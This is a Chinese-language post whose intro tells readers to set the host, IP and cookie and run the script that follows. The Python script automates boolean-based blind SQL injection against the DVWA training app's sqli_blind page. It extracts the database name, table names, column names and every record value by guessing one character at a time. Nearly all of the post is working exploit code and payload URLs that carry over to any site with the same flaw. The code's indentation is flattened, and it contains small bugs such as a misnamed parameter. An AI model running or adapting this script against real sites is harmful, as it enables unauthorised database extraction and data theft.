代码如下:
更改HOST,IP,Cookies即可使用
HOST为DVWA的网页URL
IP为本机IP
请求头中的Cookie改成自己的Cookie
import requests
# 标记符 ☾ ☽
HOST = '127.0.0.1'
IP = '127.0.0.1'
flag = 'User ID exists in the database.'
def AvtExp(url,handers):
response = requests.get(url=url, headers=headers)
content = response.content.decode('utf8')
try:
LocStart = content.index("<pre>") + 5
LocEnd = content.index("</pre>")
except:
print("判断条件错误!\n请修改Flag值")
if content[LocStart:LocEnd] == flag:
return 1
def Baopo(url,Lens,headers):
Turl = url
Name = ""
Ls = []
for letter in range(97, 97 + 26):
Ls.append(chr(letter))
for letter in range(48,48+10):
Ls.append(chr(letter))
Ls.append('_')
Ls.append('')
for count in range(1,Lens+1):
for letter in Ls:
url = Turl[:Turl.index('☾')]+str(count)+Turl[Turl.index('☾')+1:]
url = url[:url.index('☽')]+letter+url[url.index('☽')+1:]
if AvtExp(url, headers):
Name += letter
break
return Name
# 判断数据库长度
DataLen = 1
while True:
url = "http://" + HOST + "/vulnerabilities/sqli_blind/?id=1%27+and+if%28length%28database%28%29%29%3D" + str(DataLen) + "%2C1%2C0%29+--+.&Submit=Submit#"
headers = {
'Host': IP,
'Upgrade-Insecure-Requests': '1',
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36',
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
'Referer': f'http://{HOST}/vulnerabilities/sqli_blind/',
'Accept-Language': 'zh-CN,zh;q=0.9',
'Cookie': 'PHPSESSID=pd6dirbsl64vvvop6aep7q6gsm; security=low',
'Connection': 'close'
}
if AvtExp(url,headers):
break
DataLen += 1
url = f'http://{HOST}/vulnerabilities/sqli_blind/?id=1%27+and+if%28substring%28database%28%29%2C☾%2C1%29%3D%27☽%27%2C1%2C0%29--+.&Submit=Submit#'
DataName = Baopo(url,DataLen,headers)
print(f'数据库名: {DataName}')
# 判断数据库有多少表
TsLen = 1
while True:
url = f'http://{HOST}/vulnerabilities/sqli_blind/?id=1%27+and+%28select+count%28table_name%29+from+information_schema.tables+where+table_schema+%3D+%27dvwa%27%29%3D{TsLen}--+.&Submit=Submit#'
if AvtExp(url,headers):
print(f"当前数据库当下表的数量为: {TsLen}")
break
TsLen += 1
for TableCs in range(TsLen):
# 判断表长度
TableLen = 1
while True:
url = f'http://{HOST}/vulnerabilities/sqli_blind/?id=1%27+and+length%28%28select+table_name+from+information_schema.tables+where+table_schema+%3D+%27dvwa%27+limit+{TableCs}%2C1%29%29%3D{TableLen}--+.&Submit=Submit#'
if AvtExp(url, headers):
break
TableLen += 1
url = f'http://{HOST}/vulnerabilities/sqli_blind/?id=1%27+and+substring%28%28select+table_name+from+information_schema.tables+where+table_schema+%3D+%27dvwa%27+limit+{TableCs}%2C1%29%2C☾%2C1%29%3D%27☽%27+--+.&Submit=Submit#'
TableName = Baopo(url,TableLen,headers)
print(f'数据表{TableCs+1}名: {TableName}')
# 字段名数量
ColunmShu= 1
while True:
url = f'http://{HOST}/vulnerabilities/sqli_blind/?id=1%27+and+%28select+count%28column_name%29+from+information_schema.columns+where+table_schema+%3D+%27{DataName}%27+and+table_name+%3D+%27{TableName}%27%29%3D{ColunmShu}--+.&Submit=Submit#'
if AvtExp(url, headers):
print(f"-{DataName}库下的{TableName}表中有 {ColunmShu} 条字段")
break
ColunmShu += 1
for ColunmCs in range(ColunmShu):
# 字段名长度
ColunmLen = 1
while True:
url = f'http://{HOST}/vulnerabilities/sqli_blind/?id=1%27+and+length%28%28select+column_name+from+information_schema.columns+where+table_schema+%3D+%27{DataName}%27+and+table_name+%3D+%27{TableName}%27+limit+{ColunmCs}%2C1%29%29%3D{ColunmLen}--+.&Submit=Submit#'
if AvtExp(url, headers):
break
ColunmLen += 1
# 字段名
url = f'http://{HOST}/vulnerabilities/sqli_blind/?id=1%27+and+substring%28%28select+column_name+from+information_schema.columns+where+table_schema+%3D+%27{DataName}%27+and+table_name+%3D+%27{TableName}%27+limit+{ColunmCs}%2C1%29%2C☾%2C1%29%3D%27☽%27--+%27.&Submit=Submit#'
ColumnName = Baopo(url, ColunmLen, headers)
print(f'数据表{TableName}名的第{ColunmCs+1}个字段名: {ColumnName}')
# 记录数
RecodeLen = 1
while True:
url = f'http://{HOST}/vulnerabilities/sqli_blind/?id=1%27+and+%28select+count%28{ColumnName}%29+from+{DataName}.{TableName}%29%3D{RecodeLen}--+.&Submit=Submit#'
if AvtExp(url, headers):
print(f'数据表{TableName}中有 {RecodeLen} 条记录')
break
RecodeLen += 1
for RecodeCs in range(RecodeLen):
# 记录的长度
ValueLen = 0
while True:
url = f'http://{HOST}/vulnerabilities/sqli_blind/?id=1%27+and+length%28%28select+{ColumnName}+from+{DataName}.{TableName}+limit+{RecodeCs}%2C1%29%29%3D{ValueLen}--+.&Submit=Submit#'
if AvtExp(url, headers):
break
ValueLen += 1
url = f'http://{HOST}/vulnerabilities/sqli_blind/?id=1%27+and+substring%28%28select+{ColumnName}+from+{DataName}.{TableName}+limit+{RecodeCs}%2C1%29%2C☾%2C1%29%3D%27☽%27--+.&Submit=Submit#'
ValueName = Baopo(url, ValueLen, headers)
print(f'{DataName}.{TableName}的{ColumnName}字段中的第{RecodeCs+1}条值--> {ValueName}')